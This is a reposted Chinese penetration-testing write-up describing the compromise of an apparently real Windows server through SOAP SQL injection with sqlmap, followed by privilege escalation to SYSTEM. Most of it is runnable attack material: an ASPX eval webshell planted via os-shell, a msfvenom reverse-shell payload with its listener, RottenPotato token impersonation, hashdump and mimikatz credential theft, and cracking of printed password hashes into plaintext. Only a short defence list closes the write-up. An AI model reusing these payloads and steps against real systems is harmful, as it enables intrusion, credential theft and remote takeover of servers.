内容简介:原文作者:陈小兵
本帖最后由 夜莺 于 2018-6-5 11:32 编辑
原文作者:陈小兵
本文属于i春秋原创奖励计划,未经许可,禁止转载。
在实际成功渗透过程中,漏洞的利用都是多个技术的融合,最新技术的实践,本次渗透利用sqlmap来确认注入点,通过sqlmap来获取webshell,结合msf来进行ms16-075的提权,最终获取了目标服务器的系统权限。本文算是漏洞利用的一个新的拓展,在常规Nday提权不成功的情况下,结合msf进行ms16-075成功提权的一个经典案例。
1.1.1扫描 soap 注入 漏洞
1.使用awvs中的web services scanner进行漏洞扫描打开awvs,选择web services scanner进行漏洞扫描,如图1所示,在wsdl url中填写目标url地址,注意一定是asmx?wsdl,有的是有asmx文件,如果没有则可以直接填写,例如: http://1**.***.***.***:8081/?wsdl 。
图1进行soap注入漏洞扫描
2.处理 sql 盲注
[AppleScript] 纯文本查看 复制代码
<urn:string>[color=Red]-1' OR 3*2*1=6 AND 000223=000223 or 'gPireHft'='[/color]</urn:string>
3.完整的header包中内容如下:
[AppleScript] 纯文本查看 复制代码
POST /Service1.asmx HTTP/1.1 Content-Type: text/xml SOAPAction: "http://tempuri.org/ZcpdList" Content-Length: 716 X-Requested-With: XMLHttpRequest Referer: http://1**.***.***.***:8081/?wsdl Host: 1**.***.***.***:8081 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/" xmlns:urn2="http://tempuri.org/AbstractTypes"> <SOAP-ENV:Header/> <SOAP-ENV:Body> <urn:ZcpdList> <urn:Inventory_dhs> <urn:string>-1*</urn:string> </urn:Inventory_dhs> </urn:ZcpdList> </SOAP-ENV:Body> </SOAP-ENV:Envelope> Response
1 .1.2确认soap注入漏洞
[AppleScript] 纯文本查看 复制代码
custom injection marker ('*') found in option '--data'. Do you want to process it? [Y/n/q] [color=Red]y[/color] SOAP/XML data found in POST data. Do you want to process it? [Y/n/q][color=Red]y[/color]
如图2所示,sqlmap确认该sql注入漏洞存在,且该数据库服务器为windows 2008 R2,数据库版本为sql server 2008,soap存在漏洞为union查询。
图2存在soap注入漏洞
2.查看数据库是否dba权限(1)自动提交参数进行测试如图3所示,执行命令:sqlmap.py -r 1**.***.***.***.txt --is-dba --batch后,也要两次确认y,由于使用了参数“batch”,sqlmap会自动进行提交判断值。
图3自动提交参数进行判断
(2)获取当前数据库使用的用户是dba账号。 如图4所示,在sqlmap中获取当前用户是dba,显示结果为true。该结果表明数据库是使用sa权限,可以通过os-shell参数来获取webshell。
图4判断是否为dba账号
3.获取sa账号密码
如图5所示,使用命令sqlmap.py -r 1**.***.***.***.txt --password --batch直接获取该数据库连接的所有账号对应的密码值:
图5获取sa账号密码
[AppleScript] 纯文本查看 复制代码
##MS_PolicyEventProcessingLogin## [1]: password hash: 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838 ##MS_PolicyTsqlExecutionLogin## [1]: password hash: 0x01006c6443e1e42ca27773d413042ee8af2eea9026d44c8d4d1c sa [1]:
password hash: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28 将sa对应的密码值“0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28”在www.cmd5.com进行查询,如图6所示,其解密结果为“qaz123WSX”。
图6解密sa密码哈希值
1.1.3通过 - -os-shell 获取 webshell 1.获取os-shell在sqlmap中执行命令:sqlmap.py -r 1**.***.***.***.txt --os-shell,在sqlmap执行窗口中确认信息:
[AppleScript] 纯文本查看 复制代码
custom injection marker ('*') found in option '--data'. Do you want to process it? [Y/n/q] y SOAP/XML data found in POST data. Do you want to process it? [Y/n/q] y do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
2.寻找web程序所在目录
(1)查看文件及目录
执行dir c:\命令后,可以查看c目录及文件,继续查看“dir c:\inetpub\wwwroot”如图7所示,在该文件夹中无web程序,排除该目录。
图7查看文件及目录
(2)获取网站真实目录通过依次查看c、d、e、f盘,在e盘获取疑似网站程序文件,使用命令进行查看dir e:\software\AMS_NoFlow,如图8所示。
图8查看网站文件
3.测试网站真实目录
(1)生成文件测试如图9所示,使用echo命令:echo "thisis test">e:\software\AMS_NoFlow\t.txt,在网站根目录下生成t.txt文件。内容为thisis test。
图9生成文件
(2)网站访问测试
在浏览器中输入地址http://1**.***.***.***/1.txt进行测试,如图10所示,获取内容跟预期一致,该目录为网站真实物理地址。
图10网站访问测试
4.获取web.config配置文件内容
在os-shell中,执行type e:\software\AMS_NoFlow\web.config命令查看web.config文件中的内容,在sqlmap命令窗口由于设置问题,可能无法查看其完整的内容,不过sqlmap在其output目录下,会保持详细情况,如图11所示,打开其log文件,可以看到其sa账号对应的密码为qaz123WSX,跟前面破解的sa密码一致。
图11查看web.config配置文件内容
5.获取ip地址信息
如图12所示,在os-shell中执行ipconfig命令,即可获取该目标的IP地址配置情况,该目标对外配置独立外网IP和内网IP地址,在os-shell中还可以执行其它命令。
图12获取IP地址
6. 获取webshell测试
(1)生成 shell 文件
[AppleScript] 纯文本查看 复制代码
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > e:\software\AMS_NoFlow\cmd.aspx
如图13所示,回显结果显示1,无其它信息,表面生成文件命令成功。
图13生成webshell
(2)获取webshell 使用中国菜刀后门管理工具,创建记录http://1**.***.***.***/cmd.aspx,一句话后门密码:pass,如图14所示,连接成功,成功获取webshell。
图14获取webshell
1 .1.4 常规方法提权失败
[AppleScript] 纯文本查看 复制代码
systeminfo > SYD1-0081DSB.txt
2.下载Windows-Exploit-Suggester程序Windows-Exploit-Suggester下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester/
3.更新漏洞库并进行漏洞比对在 python 中执行windows-exploit-suggester.py -u进行更新,同时对漏洞库进行比对:windows-exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > SYD1-0081DSB-day.txt,如图15所示。
图15进行漏洞比对
4.查看漏洞情况在C:\Python27目录打开SYD1-0081DSB-day.txt文件,如图16所示,可以看到程序判断该操作系统为windows 2008 R2版本,且存在多个漏洞,最新漏洞为ms16-075。
图16查看漏洞情况
5.对存在的漏洞进行提权测试按照漏洞编号,查找并整理exp文件,在目标服务器上进行提权测试,除ms16-075exp外,测试均失败,无法提权。
1.1.5 借助 msf进行ms16-075提权
1.使用msf生成反弹木马
在msf下面执行命令:
[AppleScript] 纯文本查看 复制代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4433 -f exe -o 4433.exe
其中windows/meterpreter/reverse_tcp反弹端口类型,lhost是反弹连接的服务器Ip地址,注意该ip地址必须是独立服务器,或者必须是外网端口映射,换句话说,就是反弹必须能够接收,lport为反弹的端口,4433为生成的程序。
2.在监听服务器上执行监听命令
(1)启动msf
msfconsole
(2)配置meterpreter参数
[AppleScript] 纯文本查看 复制代码
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.33 set LPORT 4433 exploit
3.上传4433.exe程序到目标服务器及执行
将4433.exe文件上传到目标服务器,并通过中国彩刀或者os-shell进行执行。
4.查看系统信息
如图17所示,目标反弹到监听服务器上,执行sysinfo,获取其系统信息。
图17获取系统信息
5.使用meterpreter自带提权功能失败
在meterpreter中分别执行getuid和getsystem命令,如图18所示,未能成功提权。
图18使用默认meterpreter提权失败
6.使用ms16-075进行提权
(1)ms16-075可利用exp下载 https://github.com/foxglovesec/RottenPotato
(2)上传potato文件
通过webshell上传potato.exe文件,或者在msf下面执行命令上传:upload /root/potato.exe
(3)获取系统权限依次执行以下命令:
[AppleScript] 纯文本查看 复制代码
use incognitolist_tokens -uexecute -cH -f ./potato.exelist_tokens -u
图19获取系统权限tokens
(4)获取系统权限分别执行命令:[AppleScript] 纯文本查看 复制代码
impersonate_token "NT AUTHORITY\\SYSTEM"getuid
图20获取系统权限
(5)获取密码
在meterpreter下执行命令:run hashdump命令,如图21所示,成功获取该服务器密码哈希值:Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::
图21获取密码
在本例中还是用load mimikatz进行明文密码获取,但获取效果不理想,执行命令:kerberos、livessp、msv、ssp、tspkg、wdigest获取不到明文密码,还可以执行命令mimikatz_command,进入mimikatz命令提示符下进行操作。
(6)破解ntml密码将ntml密码哈希值a59a64a645487c1581dea603253c7920复制到cmd5.com进行破解,cmd5需要付费,还可以到: http://www.objectif-securite.ch/en/ophcrack.php 和https://www.somd5.com/网站进行密码破解,如图22所示,成功破解密码。
图22破解ntlm哈希值
7.登录服务器 通过nmap -sS -Pn -A 1**.***.***.***或者masscan -p 1-65535 1**.***.***.***进行端口扫描,发现该服务器开放3389端口,使用mstsc进行登录,如图23所示,成功登录该服务器。
图23成功登录服务器
1 .1.6总结与防御
1.本次渗透主要命令汇总
(1)sqlmap执行命令
[AppleScript] 纯文本查看 复制代码
sqlmap.py -r 1**.***.***.***.txt sqlmap.py -r 1**.***.***.***.txt --is-db sqlmap.py -r 1**.***.***.***.txt --password --batch sqlmap.py -r 1**.***.***.***.txt --os-shell
(2)os-shell下执行命令
[AppleScript] 纯文本查看 复制代码
ipconfigdir c:/echo "thisis test">e:\software\AMS_NoFlow\t.txtecho ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > e:\software\AMS_NoFlow\cmd.aspx
(3)msf下执行命令生成反弹木马:
[AppleScript] 纯文本查看 复制代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4433 -f exe -o 4433.exe
(4)msf启动及监听
[AppleScript] 纯文本查看 复制代码
msfconsoleuse exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.33(实际为外网IP地址)set LPORT 4433exploit
(5)ms16-075提权命令
[AppleScript] 纯文本查看 复制代码
use incognitolist_tokens -uexecute -cH -f ./potato.exelist_tokens -u impersonate_token "NT AUTHORITY\\SYSTEM"getuid
(6)获取密码run hashdump
进行密码获取
[AppleScript] 纯文本查看 复制代码
load mimikatzkerberos、livessp、msv、ssp、tspkg、wdigest(逐个命令测试,有的会显示明文密码)mimikatz_command:mimikatz命令提示窗口
[AppleScript] 纯文本查看 复制代码
privilege::debugsekurlsa::logonpasswords
2.渗透总结
在本次渗透中,通过sqlmap进行soap注入测试,通过sqlmap判断sql注入点可用,后续通过os-shell成功获取了webshell。获取webshell后,尝试通过常规的Nday提权方法,结果失败,后续通过msf配合进行ms16-075进行提权。Windows-Exploit-Suggester进行本地漏洞的判断和测试效果还是可以的,通过其审计,使用最新漏洞进行提权,基本命中率在99%。
3.安全防御
成功 渗透该服务器后,在该服务器上未发现有任何安全防护软件,笔者 根据经验,建议做如下安全防御:
(1)对soap参数进行过滤,过滤危险的一些导致sql注入的参数。
(2)mssql数据库使用低权限用户进行数据库连接。
(3)服务器定期进行补丁更新升级。
(4)安装杀毒软件、waf及硬件防火墙,增加攻击成本和难度
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 代理模式——结合SpringAOP讲解
- 如何结合 Scrum 和 Kanban
- NServiceBus 结合 RabbitMQ 使用教程
- ActiveMQ结合Spring收发消息
- quicklink学习以及结合React
- 业务流程与软件架构的结合
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Python网络数据采集
米切尔 (Ryan Mitchell) / 陶俊杰、陈小莉 / 人民邮电出版社 / 2016-3-1 / CNY 59.00
本书采用简洁强大的Python语言,介绍了网络数据采集,并为采集新式网络中的各种数据类型提供了全面的指导。第一部分重点介绍网络数据采集的基本原理:如何用Python从网络服务器请求信息,如何对服务器的响应进行基本处理,以及如何以自动化手段与网站进行交互。第二部分介绍如何用网络爬虫测试网站,自动化处理,以及如何通过更多的方式接入网络。一起来看看 《Python网络数据采集》 这本书的介绍吧!